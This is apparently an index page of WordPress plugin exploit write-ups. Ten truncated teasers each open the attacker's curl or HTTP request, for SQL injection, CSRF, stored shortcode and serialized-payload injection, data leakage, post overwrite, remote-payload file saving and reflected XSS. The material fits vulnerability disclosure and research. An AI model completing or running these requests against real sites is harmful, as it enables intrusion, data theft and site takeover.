## The Exploit An unauthenticated attacker can perform SQL injection via the `author__not_in` parameter in any REST API endpoint that passes user input to `WP_Query`. The following curl request demonstrates the injection against the default `/wp/v2/posts` endpoint. ```bash curl...
## The Exploit The attacker only needs a victim who is logged in and has `edit_posts` capability to be tricked into loading a malicious request. ```bash curl 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www...
Read article →## The Exploit An authenticated attacker with Contributor-level access or higher can store a malicious shortcode attribute and execute it whenever the page is viewed. ```bash # store payload curl -i -k -X POST "https://TARGET/wp-json/wp/v...
Read article →## The Exploit Attacker needs authenticated Contributor-level access or higher to inject serialized content into the `dslc_module_posts_output` shortcode. ```bash # 1) create a draft post containing a malicious serialized shortcode payloa...
Read article →## The Exploit Unauthenticated attackers can retrieve member directory data by calling the Ultimate Member AJAX endpoint with a predictable `directory_id`. ```bash curl -s -X POST "https://<TARGET>/wp-admin/admin-ajax.php" \ -H "Content...
Read article →## The Exploit Unauthenticated attackers can submit `post_id` via the guest posting AJAX action and overwrite any post. ```bash curl -X POST 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www-form-urlencoded' ...
Read article →## The Exploit Unauthenticated attackers can abuse the plugin's file save endpoint by sending a `file_path` value that points at a remote payload. ```bash curl -X POST 'https://TARGET/wp-admin/admin-ajax.php' \ -H 'Content-Type: applica...
Read article →## The Exploit The attacker needs no authentication; an unauthenticated visitor can weaponize the `search_key` query parameter. ```http GET /?search_key=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1 Host: target.example User-Agent: M...
Read article →## The Exploit Attacker needs authenticated Contributor-level access or higher to store a malicious Ultimate Member shortcode payload. ```bash # store payload curl -i -X POST "https://TARGET/wp-json/wp/v2/posts" \ -H "Authorization: Bea...
Read article →## The Exploit Attacker needs to trick a logged-in WordPress administrator into issuing a forged POST request. ```http POST /wp-admin/admin.php?page=wpscl-map-fields HTTP/1.1 Host: target.example.com Cookie: wordpress_logged_in_abcd=YOUR_...
Read article →